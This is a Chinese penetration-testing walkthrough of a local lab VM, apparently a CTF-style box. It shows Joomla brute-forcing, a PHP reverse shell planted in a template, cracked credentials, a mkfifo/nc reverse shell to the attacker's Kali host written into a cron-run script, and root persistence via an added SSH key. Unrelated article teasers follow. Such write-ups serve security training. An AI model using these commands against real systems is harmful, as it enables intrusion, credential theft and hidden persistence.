一次零基础 自“信息收集“到“权限维持“的渗透测试全程详细记录

 一、渗透总流程

1.确定目标:

        在本靶场中,确定目标就是使用各种扫描工具进行ip扫描,确定目标ip。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如使用Wappalyzer插件、nmap工具等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

6.权限维持:   

        在渗透测试过程中,权限维持是指利用已获取的权限、漏洞或凭证,保持长期对目标系统的访问权限,并持续地潜伏在系统内部以获得更多信息或执行更高级别的攻击。权限维持通常发生在成功渗透系统后,攻击者不仅仅是获取对系统的访问权限,还试图保持这种权限,以执行进一步的攻击操作。
 

二、打靶实例详解


文章内的靶机及脚本关注后私信获取


1.准备阶段

首先将靶机以及kali启动。

注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

2.信息收集——确认靶机ip

首先确定攻击机kali的ip来确定接下来扫描的网段。

命令:ip a

方法一——fping

命令:fping -g 192.168.10.0/24

方法二——Netdiscover

命令:netdiscover -i eth0 -r 192.168.10.0/24

方法三——arp-scan

命令:arp-scan -l

方法四——nmap

命令:nmap -sP 192.168.10.0/24

在上面扫描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。

所以通过上面的四种方法均可以确定靶机的ip地址为:192.168.10.176。

3.信息收集——端口扫描

命令:nmap -A -v -sS -sV -p- 192.168.10.176

知识点——nmap参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面地探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN扫描
-sV:探测开放
-p-:扫描全部端口

可以看到开放的端口有:
22:SSH服务
80:HTTP服务

4.威胁建模

访问:http://192.168.10.176/

通过Wappalyzer插件得到下面的信息:
Web服务:Apache 2.4.38
操作系统:Debian

5.漏洞探测

通过前面的扫描,可以看到存在开放的80端口,因此猜测其存在HTTP服务。

访问其web服务,默认端口为80。

可以看到一张小丑的图片。

查看网页源代码,可以看到没有什么有价值的信息。

查看robot.txt文件,同样没有什么收获。

安装Gobuster工具。

命令:apt-get install gobuster

接下来通过使用Gobuster和大字典(Kali自带),查找网站部署的服务器,发现了JoomlaCMS。

命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt

访问Joomla站点,发现只有一个帖子,其中有电影“小丑”的两个场景对话,还发现一个登录口。

安装Joomscan工具。

命令:apt-get install joomscan

接下来使用Joomscan对站点进行探测。

列出版本信息、敏感目录以及备份文件等有助于寻找漏洞的信息。

命令:joomscan -u 192.168.10.176/joomla

6.漏洞利用

使用Cewl工具对Joomla中发现的对话内的单词创建一个自定义词典。

命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt

命令解释:常用于密码破解的准备工作,生成一个基于目标网站内容的密码字典。 -m 5 参数表示生成一个最小长度为5个字符的单词列表。它从指定的URL http://192.168.10.176/joomla/ 中提取文本,然后将提取的内容输出到一个名为 dic-words.txt 的文件中。

查看生成的字典。

接下来利用刚刚生成的字典对网页内的登录口进行爆破。

首先启动burp打开拦截器。

开启浏览器内的代理。

在登录口随便输入账号密码后点击Log in。

此时可以看到burp拦截到的数据包。

鼠标右键点击数据包后将其发送到Intruder。

在Intruder页面先确认选取Sniper,然后将username改为joomla,选中之前登录口随便填写的密码使用Add给password加上标记。

打开Payloads界面进行相关配置。

选取Simple list格式。

在下方点击load填入之前创建的密码字典dic-words.txt。

导入字典后点击Start attack开始爆破。

等待爆破解释后通过Lenght对结果筛选,得到密码Gotham。

使用username为joomla和password为Gotham尝试登陆,发现登录成功。

在枚举过程中我们嗅探到joomla下有administrator目录,尝试访问一下,发现可以成功访问。

使用刚刚爆破得到的用户名和密码登录。

发现登录成功。

接下来尝试在这个站点内建立一个反弹shell。

打开Extensions->Templates->Styles。

可以看到Beez3和protostar两个目录。

点击Protostar打开protostar目录。

进入/index.php页面进行编辑。

为了后续方便代码的复制粘贴,安装gedit工具。

命令:apt-get install gedit

进入到/usr/share/webshells/php目录,找到php-reverse-shell.php文件复制整个文件的代码。

命令:cd /usr/share/webshells/php

命令:gedit php-reverse-shell.php

用复制的shell脚本替换掉/index.php中的原始代码。

在第49行和50行找到ip和port。

将ip更改为攻击机kali的IP,这里为Kali IP:192.168.10.132。

端口可以自己设定,这里设置为5555。

点击左上角的save进行保存。

之后在kali中打开监听,重新访问“192.168.10.176/joomla/index.php”页面,在Kali中可以看到反弹成功。

命令:nc -lnvp 5555

地址:192.168.10.176/joomla/index.php

使用python3打开一个bash终端。

命令:python3 -c "import pty;pty.spawn('/bin/bash')"

查看home目录发现三个用户。

命令:ls /home

进入到/var/www/目录并查看,发现有html和joomla2两个文件夹。

命令:cd /var/www/ && ls -a

进入到joomla2文件夹内并查看,发现了configuration.php文件。

命令:cd joomla2 && ls -a

查看该文件,发现了一个数据的用户名和密码。

命令:cat configuration.php

用账号joomla和密码babyjoker尝试登录数据库,发现登录成功。

命令:mysql -u joomla -p

在数据库内查找有用的信息,查看是否有存储用户名和密码的文件。

命令:show databases;

命令:use batjoke;

成功找到密码信息如下图所示。

命令:select * from taskforce;

将密码进行base64解密,可以看到解密后的明文。

命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

  1. 知识点——命令说明:
    这个命令是将给定的Base64编码的字符串解码回原始的文本。具体来说,命令中的 echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' 是将Base64编码的密文输入到管道中,然后 base64 -d 解码这个Base64编码的字符串,并将其转换为原始文本。

7.权限提升

使用前面获取到的密码通过ssh命令尝试进行登录,发现登录成功了。

用户名:rob

密码:??? AllIHaveAreNegativeThoughts???

命令:ssh rob@192.168.10.176

在rob用户的系统中搜索资产,发现一个关于用户的文件user.txt,查看该文件。

命令:ls

查看user.txt文件。

命令:cat user.txt

遍历目录,发现了可疑文件Abnerineedyourhelp。

命令:ls -lna

查看文件,发现一段加密后的话。

命令:cat Abnerineedyourhelp

根据用户名rot联想到疑似是rot13加密,于是利用CyberChef工具尝试解密。

成功解密,得到下图所示的明文。

翻译后的内容如下,可以看到末尾有一段密码。

对上述的密码进行base64解密。

命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

根据上面翻译结果内的提示,尝试利用上面解密出的密码登录用户名为abner的用户,执行命令后发现登录成功到了abner。

命令:su abner

密码:I33hope99my0death000makes44more8cents00than0my0life0

命令:whoami

进入到abner的目录下并进行目录遍历,发现可疑文件info.txt和user2.txt。

命令:cd /home/abner && ls -lna

分别查看两个文件。

命令:cat info.txt

命令:cat user2.txt

翻译得到的内容可以看到其是对Glasgow smile的介绍。

查看命令执行的历史记录。

命令:cat .bash_history

在全盘中搜索与penguin用户相关的文件,找到两条关键信息。

命令:find / -name .dear_penguins.zip 2>/dev/null

来到上面查找到的文件的目录下并查看,可以看到上面搜索到的压缩包。

命令:ls -al /var/www/joomla2/administrator/manifests/files/

将其解压。

命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

密码:I33hope99my0death000makes44more8cents00than0my0life0

查看.dear_penguins文件。

命令:cat .dear_penguins

翻译得到的内容。

得到penguin用户的密码,使用得到的密码尝试登录用户penguin,发现成功登录。

命令:su penguin

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

命令:whoami

进入到penguin的目录下并进行目录遍历,查找可疑文件或目录,发现可以目录SomeoneWhoHidesBehindAMask。

命令:cd /home/penguin && ls -lna

进入SomeoneWhoHidesBehindAMask目录并遍历,发现两个可疑文件。

命令:cd SomeoneWhoHidesBehindAMask && ls -lna

查看PeopleAreStartingToNotice.txt。

命令:cat PeopleAreStartingToNotice.txt

翻译得到下面内容,是Joker给Penguin的留言,貌似说正在编写一个程序,只能用root运行,完成以后joker将会拷贝到当前目录。

查看.trash_old文件,可以看到其内容类似于一个shell脚本。

命令:cat .trash_old

结合文件内容,发现.trash_old属于用户penguin,root组并且任何人都可执行。

这个时候联想到需要使用pspy工具监控没有root权限的Linux系统。

前面进行端口扫描的时候存在开放的22端口,并且已经拿到了该系统的登录用户名和密码。

因此尝试利用ssh远程连接进行上传pspy工具。

首先将pspy文件下载到本地。

然后尝试利用ssh连接靶机。

命令:ssh penguin@192.168.10.176

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

在本机的pspy目录下,启动python的http服务,启动端口可以任意填写但是要注意不要与已经启动服务的端口重复。

命令:python3 -m http.server 5556

启动后访问本地地址进行验证,可以看到可以访问到kali内的文件。

访问地址:http://192.168.10.132:5556/

在靶机上将pspy64wget下来。

命令:wget http://192.168.10.132:5556/pspy64

查看文件pspy64,发现没有权限执行。

命令:ls -lah

修改其权限让其可以执行并进行验证。 

命令:chmod +x pspy64

命令:ls -lah

执行pspy,利用其对系统进程进行监控。

命令:./pspy64 -p -i 1000

监听到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分钟都执行。

回到前面.trash_old的目录下,使用vim编辑trash_old写入反弹shell(要将末尾的exit 0注释掉)。

命令:vi .trash_old

代码:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f

保存并退出::wq!

在kali内开启监听,连接上后,执行whoami或id命令,可以看到此时成功拿到了root权限。

命令:nc -lnvp 5557

命令:whoami

命令:id

查看当前目录下内容,可以看到root.txt文件,查看root.txt。

命令:ls

命令:cat root.txt

上面成功拿到了root权限。

8.权限维持

在渗透测试中,权限维持是非常重要的一步。获取了系统或网络的访问权限后,可以尽量保持这些权限,以便进行后续的深入渗透,如渗透到更深层次的系统等。

首先利用攻击机kali生成公钥私钥对,默认保存在.ssh目录下。

命令:ssh-keygen -t rsa

查看刚刚生成的公钥和私钥,其中id_rsa为私钥,留在攻击机kali内,id_ras.pub为公钥,传到靶机内即可。

命令:cd .ssh

命令:ls -lah

在存放公钥私钥的.ssh目录下启动python的http服务。

命令:python3 -m http.server 5558

将公钥下载到靶机上并查看。

命令:wget http://192.168.10.132:5558/id_rsa.pub

命令:ls

在靶机内查看当前路径,确认是root用户目录后在当前目录下创建.ssh目录。

命令:pwd

命令:mkdir .ssh

命令:ls -alh

在.ssh目录下创建authorized_keys文件。

命令:touch .ssh/authorized_keys

将密钥写入到authorized_keys文件中。

命令:cat id_rsa.pub >> .ssh/authorized_keys

此时使用kali就可以直接连接到靶机的root权限了。

命令:ssh root@192.168.10.176

只要靶机上的公钥文件存在,就可以利用私钥永久拿到靶机的控制权。

至此权限维持操作完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/42810.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于网络编码的 tcp 变种-tcp/nc

tcp/nc 是指 “tcp with network coding”,是一种结合了网络编码技术的 tcp 变种,网上资源很少,我也不准备多介绍,只介绍它的核心。 传统 tcp 在演进过程中一直搞不定效率问题,网络带宽在增长,cpu 却没有变…

C++类和对象(上篇)

文章目录 前言一、面向过程和面向对象初步认识 二、类的引入 三、类的定义 六、类的实例化 七、类的对象大小的计算 八、类成员函数的this指针 总结 前言 类和对象是面向对象编程的两个核心概念。 类是一种抽象的数据类型,是描述对象共同特征和行为的模板。一个类…

yolov5:Conv类参数量计算

Conv是yolov5自定义的类,里边包含了卷积层、BN层和激活函数 class Conv(nn.Module):# Standard convolution with args(ch_in, ch_out, kernel, stride, padding, groups, dilation, activation)default_act nn.SiLU() # default activationdef __init__(self, c…

点云下采样有损压缩

转自本人博客&#xff1a;点云下采样有损压缩 点云下采样是通过一定规则对原点云数据进行再采样&#xff0c;减少点云个数&#xff0c;降低点云稀疏程度&#xff0c;减小点云数据大小。 1. 体素下采样&#xff08;Voxel Down Sample&#xff09; std::shared_ptr<PointClo…

华为机考真题 -- 信道分配

题目描述&#xff1a; 算法工程师小明面对着这样一个问题&#xff0c;需要将通信用的信道分配给尽量多的用户&#xff0c; 信道的条件及分配规则如下&#xff1a; 1) 所有信道都有属性&#xff1a;”阶”。阶为 r 的信道容量为 2^r 比特&#xff1b; 2) 所有用户需要传输的数…

区间贪心

目录 1.贪心算法的思想 2.区间贪心算法常用的一些题目类型 1.选择最多不相交区间问题 P2970 [USACO09DEC] Selfish Grazing S 1.思路分析 2.上代码 2.区间选点问题 P1250 种树 1.题目 2.方法一 1.代码解释 3.方法二 3.区间合并问题 P2434 [SDOI2005] 区间 1. 思路…

中科海讯 C++初级研发工程师笔试题目

C语言中的const关键字有什么作用&#xff1f;为什么要使用const关键字&#xff1f; 1 const修饰的变量将会被放到常量区&#xff0c;避免被意外的改动。 const修饰的常量比#define修饰的有更多的优势&#xff0c;比如可以调试&#xff0c;类型检查等 2 const修饰的参数可做输入…

Java集合面试题

Java集合框架 1、List、Set、Map的区别2、ArrayList、LinkedList、Vector区别3、为什么数组索引从0开始&#xff0c;而不是从1开始&#xff1f;4、ArrayList底层的实现原理5、红黑树、散列表6、HashMap的底层原理7、HashMap的put方法具体流程8、HashMap的扩容机制9、HashMap是怎…

南方科技大学马永胜教授给年轻人使用AI工具上的建议

摘要 - 1. AI的未来&#xff0c;是机器人和机器人之间的合作&#xff1b; 2. 行业的发展方向是需求决定的&#xff0c;不要做同质化的发展&#xff0c;要做专/精/特/新&#xff1b; 3. 新质生产力 &#xff08; 科学技术革命性突破 生产要素创新型配置 产业深度转型升级&…

java通过poi-tl导出word实战详细步骤

文章目录 与其他模版引擎对比1.引入maven依赖包2.新建Word文档exportWprd.docx模版3.编写导出word接口代码4.导出成果 poi-tl是一个基于Apache POI的Word模板引擎&#xff0c;也是一个免费开源的Java类库&#xff0c;你可以非常方便的加入到你的项目中&#xff0c;并且拥有着让…

贪心算法-以高校教材管理系统为例

1.贪心算法介绍 1.算法思路 贪心算法的基本思路是从问题的某一个初始解出发一步一步地进行&#xff0c;根据某个优化测度&#xff0c;每一 步都要确保能获得局部最优解。每一步只考虑一 个数据&#xff0c;其选取应该满足局部优化的条件。若下 一个数据和部分最优解连在一起…

Pix4Dmapper:无人机测绘的革命性工具

在现代测绘和地理信息系统&#xff08;GIS&#xff09;领域&#xff0c;Pix4Dmapper无疑是一款革命性的工具。作为一名长期使用这款软件的用户&#xff0c;我深深感受到它在工作中的重要性和便利性。Pix4Dmapper不仅仅是一款软件&#xff0c;更是测绘工作者的得力助手&#xff…

285个地级市出口产品质量及技术复杂度(2011-2021年)

出口产品质量与技术复杂度&#xff1a;衡量国家竞争力的关键指标 出口产品质量是衡量国内企业生产的产品在国际市场上竞争力的重要标准。它不仅要求产品符合国际标准和目标市场的法律法规&#xff0c;而且需要保证产品质量的稳定性和可靠性。而出口技术复杂度则进一步体现了一…

新一代信息技术及应用

关于云计算的描述不正确的是&#xff08; &#xff09;。 A 云计算可以通过网络连接&#xff0c;用户通过网络接入“云”中并获得有关的服务&#xff0c;“云”内节点之间也通过内部的网络相连 B 云计算可以快速、按需、弹性服务&#xff0c;用户可以按照实际需求迅速获取或释放…

[Python学习篇] Python面向对象——类

面向对象是什么&#xff1f; 面向对象&#xff08;Object-Oriented Programming&#xff0c;简称OOP&#xff09;是一种编程范式&#xff0c;它使用“对象”来设计应用程序和计算机程序。OOP的核心概念包括类&#xff08;Class&#xff09;、对象&#xff08;Object&#xff09…

批量下载手机中APP程序中文件

需求 利用 adb pull 下载手机中app的某目录 adb pull 命令本身不支持直接下载整个目录&#xff08;文件夹&#xff09;及其所有子目录和文件作为一个单一的操作。但是&#xff0c;可以通过一些方法来间接实现这一目的。 方法 1. 首先将要下载的目录进行 tar 打包 # 在 And…

Python面试题:Python 中的 `property` 函数有什么用?

在 Python 中&#xff0c;property 函数用于创建和管理类中的属性。它允许你将方法转换为属性&#xff0c;这样你可以像访问变量一样访问这些方法。这对于控制属性的访问和修改非常有用&#xff0c;因为它允许你在属性访问时执行额外的逻辑&#xff08;如验证或计算&#xff09…

光通信领域常见的会议和期刊总结

在高速光通信小组待了一年&#xff0c;对我们领域主要的会议和期刊也有了一定的了解&#xff0c;所以总结一下我们可以投的期刊或会议有哪些。会议一般有OFC、ECOC、CLEO、OECC、ACP等&#xff0c;期刊则有OE、OL、PTL、JLT、PJ、AO、JOSA等&#xff0c;下面简单介绍一下。 先…

【atcoder】习题——位元枚举

题意&#xff1a;求i&M的popcount的和&#xff0c;i属于0……N 主要思路还是变加为乘。 举个例子N22&#xff0c;即10110 假设M的第3位是1&#xff0c;分析N中&#xff1a; 00110 00111 00100 00101 发现其实等价于 0010 0011 0000 0001 也就是左边第4位和第5…

算法学习笔记(8.1)-动态规划入门

目录 问题特性&#xff1a; 最优子结构&#xff1a; 代码示例&#xff1a;&#xff08;动态规划最优子结构&#xff09; 上述最小代价爬楼梯的运行过程&#xff1a; 代码示例&#xff1a; 无后效性&#xff1a; 解析&#xff1a; 具体过程图示如下&#xff1a; 具体的…